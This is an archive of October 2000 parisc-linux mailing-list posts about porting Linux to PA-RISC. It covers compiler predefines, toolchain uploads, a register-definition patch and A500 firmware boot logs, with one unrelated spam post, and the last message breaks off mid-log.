X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Emacs 20 uploaded
Date: 11 Oct 2000 17:55:37 -0400
Organization: Linuxcare, Inc.
Lines: 12
Approved: news@gmane.org
Message-ID: <87g0m3caau.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619177 4395 80.91.229.3 (22 Nov 2014 01:19:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Wed Oct 11 15:54:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA11292
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 15:54:27 -0600
Original-Received: (qmail 24200 invoked by uid 15267); 11 Oct 2000 21:55:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24148 invoked from network); 11 Oct 2000 21:55:29 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 21:55:29 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13jTqb-0005yp-00
	for <parisc-linux@thepuffingroup.com>; Wed, 11 Oct 2000 17:55:37 -0400
Original-Lines: 11
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8103

Well, I officially declare PA/RISC Linux to be "useful".  Emacs 20
builds fine (including dump/undump) and apperas to run quite well on
my A180.

See ftp://puffin.external.hp.com/pub/debian-hppa/

(ducking the editor war that follows)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __hp9000s700 predefined
Date: Wed, 11 Oct 2000 18:15:03 -0400 (EDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <200010112215.SAA01540@hiauly1.hia.nrc.ca>
References: <200010112021.NAA07074@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619177 4398 80.91.229.3 (22 Nov 2014 01:19:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Oct 11 16:17:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA12642
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 16:17:48 -0600
Original-Received: (qmail 23601 invoked by uid 15267); 11 Oct 2000 22:18:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23585 invoked from network); 11 Oct 2000 22:18:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 22:18:53 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA01540;
	Wed, 11 Oct 2000 18:15:03 -0400 (EDT)
In-Reply-To: <200010112021.NAA07074@milano.cup.hp.com> from "Grant Grundler" at Oct 11, 2000 01:21:33 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8104

> "John David Anglin" wrote:
> > You probably know better than I but I think PA1.0 is the "portable" default
> > for most libraries under 10.X.
> 
> It's definitely not under 10.20. PA1.1 is the minimum.
> I think PA1.0/CIO support was completely dropped after
> 10.01 or 10.10 releases.

Don't think so under 10.20.  We're talking about code generation here,
not device support.  The HP cc compiler uses the +DAarchitecture option
to control generation of code for a particular version of the PA-RISC
architecture.  It also specifies which version of the math library to
use when -lm is specified.  The directory /usr/lib/pa1.1 under 10.20
still has different versions for libcl.[a,sl] and libm.a.  As I noted
before, there is a complete list of models and architectures in
/opt/langtools/lib/sched.models.

I tried different code generation options with the HP cc compiler
under 10.20 and 11.  The HP cc compiler sets LPATH (at least if it is not
defined) to /usr/lib/pa1.1:/usr/lib:/opt/langtools/lib: for PA1.1 and PA2.0
models.  The default for PA1.0 models is /usr/lib:/usr/ccs/lib, according
to the ld man page.  Here are the HP cc predefines for 808, 735 and 700
models under 10.20:

-D__hp9000s700 -D__hp9000s800 -D__hppa -D__hpux -D__unix -e -D_PA_RISC1_0 -D__CLASSIC_C__

-D__hp9000s700 -D__hp9000s800 -D__hppa -D__hpux -D__unix -e -D_PA_RISC1_1 -D__CLASSIC_C__

-D__hp9000s700 -D__hp9000s800 -D__hppa -D__hpux -D__unix -e -D_PA_RISC1_1 -D__CLASSIC_C__

The _PA_RISC1_1 define for the 700 changes to a _PA_RISC2_0 define under 11.
Under 11, only a remnant of the pa1.1 library remains for old link scripts.
The same libraries appear to be used for PA1.0 to PA2.0.  This leads me
to conclude that the libraries must all be PA1.0 compatible.  HP cc uses the
.LEVEL directive to tell the assembler which object format to generate.

> > There appears to be some model dependence
> > in the floating point implementations from one pa machine to another.  If
> > this can't all be hidden in the kernel, some further specification of the
> > hardware might be needed for floating point.  For example, __i686__ is
> > defined on the Pentium Pro and is used in bits/mathinline.h.
> 
> HPUX hides it all in the kernel somehow...and __hp9000s[7-8]00 won't
> help with this problem anyway.

The +FP cc option can be used to control floating operation.  10.20 also has
fpgetround and friends for runtime control.  11.0 has fenv.h, and fegetround
and friends.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __hp9000s700 predefined
Date: Wed, 11 Oct 2000 15:45:10 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200010112245.PAA07444@milano.cup.hp.com>
References: <200010112215.SAA01540@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619177 4402 80.91.229.3 (22 Nov 2014 01:19:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@cup.hp.com  Wed Oct 11 16:39:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA13863
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 16:39:53 -0600
Original-Received: (qmail 15432 invoked by uid 15267); 11 Oct 2000 22:40:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15422 invoked from network); 11 Oct 2000 22:40:59 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 22:40:59 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 3CFCA2D0; Wed, 11 Oct 2000 15:40:55 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA07444;
	Wed, 11 Oct 2000 15:45:13 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 11 Oct 2000 18:15:03 PDT."
             <200010112215.SAA01540@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:8105

"John David Anglin" wrote:
> We're talking about code generation here,
> not device support.

John,
Got it. Architecture flags (eg _PARISC1_1) determine code generation.

I'm not preventing people from building PA1.0 code if that's what
they really want.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dempsey Mork" <dempsey@magellancc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] public shell
Date: Thu, 12 Oct 2000 00:25:11 +0000
Lines: 2
Approved: news@gmane.org
Message-ID: <B0000222680@mailserv.desertsurf.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619178 4408 80.91.229.3 (22 Nov 2014 01:19:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dempsey@magellancc.com  Thu Oct 12 01:21:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA09162
	for <parisc-linux@puffin.external.hp.com>; Thu, 12 Oct 2000 01:21:50 -0600
Original-Received: (qmail 810 invoked by uid 15267); 12 Oct 2000 07:23:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 803 invoked from network); 12 Oct 2000 07:23:01 -0000
Original-Received: from mailserv.desertsurf.com (209.84.189.91)
  by mailserv2.iuinc.com with SMTP; 12 Oct 2000 07:23:01 -0000
Original-Received: from Magellancc.com (unverified [209.84.188.21]) by mailserv.desertsurf.com
 (Rockliffe SMTPRA 3.4.7) with SMTP id <B0000222680@mailserv.desertsurf.com> for <parisc-linux@thepuffingroup.com>;
 Thu, 12 Oct 2000 00:23:22 -0700
X-Mailer: Magellancc.com
Xref: news.gmane.org gmane.linux.ports.parisc:8106

I have a public shell company available for a reverse merger.  I will email full details if interested.


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit toolchain available for native PA-RISC Linux
Date: 13 Oct 2000 14:17:32 -0400
Organization: Linuxcare, Inc.
Lines: 12
Approved: news@gmane.org
Message-ID: <87y9zs7ghv.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619178 4409 80.91.229.3 (22 Nov 2014 01:19:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Oct 13 12:16:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA01696
	for <parisc-linux@puffin.external.hp.com>; Fri, 13 Oct 2000 12:16:17 -0600
Original-Received: (qmail 19124 invoked by uid 15267); 13 Oct 2000 18:17:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19099 invoked from network); 13 Oct 2000 18:17:29 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Oct 2000 18:17:29 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13k9Oe-0006Pn-00
	for <parisc-linux@thepuffingroup.com>; Fri, 13 Oct 2000 14:17:32 -0400
Original-Lines: 11
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8107

Hi,

I've uploaded a cross-toolchain for hppa64 built for 32-bit
Linux/PA-RISC.  It's at

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/gcc64-20001013.tgz
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/binutils64-20001013.tgz

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tr0/tr1 defines in asmregs.h
Date: Fri, 13 Oct 2000 13:32:54 -0700 (PDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <200010132032.NAA09820@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619178 4412 80.91.229.3 (22 Nov 2014 01:19:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Oct 13 14:27:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA03069
	for <parisc-linux@puffin.external.hp.com>; Fri, 13 Oct 2000 14:27:22 -0600
Original-Received: (qmail 24784 invoked by uid 15267); 13 Oct 2000 20:28:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24776 invoked from network); 13 Oct 2000 20:28:34 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 13 Oct 2000 20:28:34 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id C9C967F4
	for <parisc-linux@thepuffingroup.com>; Fri, 13 Oct 2000 13:28:32 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id NAA09820
	for parisc-linux@thepuffingroup.com; Fri, 13 Oct 2000 13:32:54 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8108

Hi all,
cr24 and cr25 are not "tempory" registers for parisc-linux.
IMHO, No one should be referencing "tr0/tr1" names in any
assembler code.

Comments?
Should this patch be committed to the CVS tree?

thanks
grant

grundler <526>cvs diff include/asm-parisc/asmregs.h
Index: include/asm-parisc/asmregs.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/asmregs.h,v
retrieving revision 1.4
diff -u -p -r1.4 asmregs.h
--- asmregs.h   2000/06/28 23:38:09     1.4
+++ asmregs.h   2000/10/13 20:07:16
@@ -144,8 +144,10 @@ isr:       .reg    %cr20
 ior:   .reg    %cr21
 ipsw:  .reg    %cr22
 eirr:  .reg    %cr23
-tr0:   .reg    %cr24
-tr1:   .reg    %cr25
+#if 0
+tr0:   .reg    %cr24   /* pointer to kernel address space page directory */
+tr1:   .reg    %cr25   /* pointer to the current user address space pdir */
+#endif
 tr2:   .reg    %cr26
 tr3:   .reg    %cr27
 tr4:   .reg    %cr28


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PDC PAT support committed
Date: Fri, 13 Oct 2000 13:54:37 -0700 (PDT)
Lines: 160
Approved: news@gmane.org
Message-ID: <200010132054.NAA09857@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619179 4414 80.91.229.3 (22 Nov 2014 01:19:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Oct 13 14:49:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA03805
	for <parisc-linux@puffin.external.hp.com>; Fri, 13 Oct 2000 14:49:16 -0600
Original-Received: (qmail 19203 invoked by uid 15267); 13 Oct 2000 20:50:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19173 invoked from network); 13 Oct 2000 20:50:17 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 13 Oct 2000 20:50:17 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id CCC32F84
	for <parisc-linux@thepuffingroup.com>; Fri, 13 Oct 2000 13:50:15 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id NAA09857
	for parisc-linux@thepuffingroup.com; Fri, 13 Oct 2000 13:54:37 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8109

FYI

I committed the first cut of the PDC PAT support.
L1000/L2000/A500 are short term targets of this support.

Short Term TODO kernel items:

o reduce amount of debug output from do_pat_discovery().
o debug why output stops at "Memory: 12248k available"
  (64-bit kernel is hardcoded to only see 16MB RAM)
o write code to setup PCI resources in lba_pci.c.
o 64-bit VM work

enjoy!
grant


Firmware Version  40.20

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      440  MHz   Active                 Functional         512 KB   1 MB
      1      440  MHz   Idle                   Functional         512 KB   1 MB

  Central Bus Speed (in MHz)  :        111  
  Available Memory            :     262144  KB
  Good Memory Required        :      11468  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/0.0           
   Keyboard path:        0/0/4/0.0           

 WARNING:  The non-destructive test bit was set, so memory was not tested 
            destructively.  Information only, no action required. 


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 00306e-03799f
System IP Address 15.8.80.78
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Mon Sep 25 17:09:43 PDT 2000
0/vmlinux 2684576 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 '
Kernel: partition 0 file /vmlinux
ELF64 executable

Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 1695920 mediaptr 0x1000
Segment 1 load 002a0000 size 402520 mediaptr 0x1a0000
Segment 2 load 00304000 size 147456 mediaptr 0x203000
branching to kernel entry point 0x00100000
Set default PSW W bit to 1
PDC Console Initialized
The 64-bit Kernel has started...
Enabled FP coprocessor
If this is the LAST MESSAGE YOU SEE, you're probably using
32-bit millicode by mistake.
Free memory starts at: 0xc0372000
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 '
PALO initrd 0-0
model   00005cb0 00000491 00000000 00000001 23355fdc 100000f0 00000008 000000b2 000000b2
vers    00000300
cpuid   0000022a
CPUID vers 17 rev 10
CPU might be a PA8500 (PCX-W)
CPU(s): 1 x PA8500 (PCX-W) at 440.000000 MHz
Searching for devices in PDC firmware... processor hpa 0xfffffffffffa0000
CELL_GET_NUMBER: 0x0 0x1
NUM_TO_LOC status: -2
PDC_PAT_CELL_MODULE: pcell_loc 0x1 mod_index 0x0
  status 0
PDC_PAT_CELL_MODULE: pmod_loc 0xff00ff11 mod_path 0xffffffffffffa0
PAT_ENTITY_PROC: id_eid 0xa0ff0000
PDC_PAT_CELL_MODULE: pcell_loc 0x1 mod_index 0x1
  status 0
PDC_PAT_CELL_MODULE: pmod_loc 0xff01ff11 mod_path 0xffffffffffffa2
PAT_ENTITY_PROC: id_eid 0xa2ff0000
PDC_PAT_CELL_MODULE: pcell_loc 0x1 mod_index 0x2
  status 0
PDC_PAT_CELL_MODULE: pmod_loc 0xffffff71 mod_path 0xffffffffffff08
PAT_ENTITY_MEM: amount 0x10000000 min_gni_base 0x0 min_gni_len 0x0
PDC_PAT_CELL_MODULE: pcell_loc 0x1 mod_index 0x3
  status 0
PDC_PAT_CELL_MODULE: pmod_loc 0xffffff82 mod_path 0xffffffffffff00
PAT_ENTITY_SBA: ranges 6 -4611686018427387899/0xfffffffffed18000/0xfffffffffed2ffff -19824640/0xfffffffffed2ffff/0x8000000000000000 -19726337/0x8000000000000000/0x0 -9223372036854775808/0x0/0x3f 0/0x3f/0x8000000000000001 63/0x8000000000000001/0xfffffffff8000000
PDC_PAT_CELL_MODULE: pcell_loc 0x1 mod_index 0x4
  status 0
PDC_PAT_CELL_MODULE: pmod_loc 0xffff04ff83 mod_path 0xffffffffff0000
PAT_ENTITY_LBA: ranges 4 -9223372036854775808/0x0/0x7 0/0x7/0x8000000000000001 7/0x8000000000000001/0xfffffffff8000000 -9223372036854775807/0xfffffffff8000000/0xfffffffff87fffff
PDC_PAT_CELL_MODULE: pcell_loc 0x1 mod_index 0x5
  status 0
PDC_PAT_CELL_MODULE: pmod_loc 0xffff01ff83 mod_path 0xffffffffff0002
PAT_ENTITY_LBA: ranges 4 -9223372036854775808/0x10/0x17 16/0x17/0x8000000000000001 23/0x8000000000000001/0xfffffffff9000000 -9223372036854775807/0xfffffffff9000000/0xfffffffff97fffff
PDC_PAT_CELL_MODULE: pcell_loc 0x1 mod_index 0x6
  status 0
PDC_PAT_CELL_MODULE: pmod_loc 0xffff02ff83 mod_path 0xffffffffff0004
PAT_ENTITY_LBA: ranges 4 -9223372036854775808/0x20/0x27 32/0x27/0x8000000000000001 39/0x8000000000000001/0xfffffffffa000000 -9223372036854775807/0xfffffffffa000000/0xfffffffffa7fffff
PDC_PAT_CELL_MODULE: pcell_loc 0x1 mod_index 0x7
  status 0
PDC_PAT_CELL_MODULE: pmod_loc 0xffff03ff83 mod_path 0xffffffffff0006
PAT_ENTITY_LBA: ranges 4 -9223372036854775808/0x30/0x37 48/0x37/0x8000000000000001 55/0x8000000000000001/0xfffffffffb000000 -9223372036854775807/0xfffffffffb000000/0xfffffffffb7fffff
PDC_PAT_CELL_MODULE: pcell_loc 0x1 mod_index 0x8
  status -7
Found devices:
1. Crescendo 440 (0) at 0xfffffffffffa0000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91
2. Crescendo 440 (0) at 0xfffffffffffa2000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91
3. Crescendo Memory (1) at 0xfffffffffed08000, versions 0x9b, 0x0, 0x9, 0x0, 0x0
4. Astro BC Runway Port (12) at 0xfffffffffed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
5. Elroy PCI Bridge (13) at 0xfffffffffed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. Elroy PCI Bridge (13) at 0xfffffffffed34000, versions 0x782, 0x0, 0xa, 0x0, 0x0
7. Elroy PCI Bridge (13) at 0xfffffffffed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
8. Elroy PCI Bridge (13) at 0xfffffffffed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
That's a total of 8 devices.
Linux version 2.4.0-test6 (grundler@hpisp747) (gcc version 2.96 20000925 (experimental)) #29 Fri Oct 13 12:24:46 PDT 2000
free_bootmem(0x372200, 0xc8de00)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 4096
zone(0): 2048 pages.
zone(1): 2048 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 
trap_init
Calibrating delay loop... 878.18 BogoMIPS
Memory: 12248k available

[ and then it hangs... ] 


From - Thu Nov 08 21:13:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] more a500 output
Date: Fri, 13 Oct 2000 18:42:22 -0700 (PDT)
Lines: 222
Approved: news@gmane.org
Message-ID: <200010140142.SAA10392@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619179 4420 80.91.229.3 (22 Nov 2014 01:19:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Oct 13 19:36:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA06050
	for <parisc-linux@puffin.external.hp.com>; Fri, 13 Oct 2000 19:36:52 -0600
Original-Received: (qmail 15895 invoked by uid 15267); 14 Oct 2000 01:38:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15881 invoked from network); 14 Oct 2000 01:38:05 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 14 Oct 2000 01:38:05 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 64D34705
	for <parisc-linux@thepuffingroup.com>; Fri, 13 Oct 2000 18:38:01 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id SAA10392
	for parisc-linux@thepuffingroup.com; Fri, 13 Oct 2000 18:42:22 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8110

Hi all,
Here's the latest output from the a500...next step is to
setup the PCI resources before we can go any further.

I've disabled CONFIG_PROC_FS...hangs in proc_misc_init() (iirc).
Anyone interested in looking into that?
(Remember this is a 64-bit kernel)

A500 dies when scsi driver tries to talk to an unconfigured device.
PAT PDC *is* different.

grant


Firmware Version  40.20

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      440  MHz   Active                 Functional         512 KB   1 MB
      1      440  MHz   Idle                   Functional         512 KB   1 MB

  Central Bus Speed (in MHz)  :        111  
  Available Memory            :     262144  KB
  Good Memory Required        :      11468  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/0.0           
   Keyboard path:        0/0/4/0.0           

 WARNING:  The non-destructive test bit was set, so memory was not tested 
            destructively.  Information only, no action required. 


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo lann
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 00306e-03799f
System IP Address 15.8.80.78
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Mon Sep 25 17:09:43 PDT 2000
0/vmlinux 2559444 bytes @ 0x6800
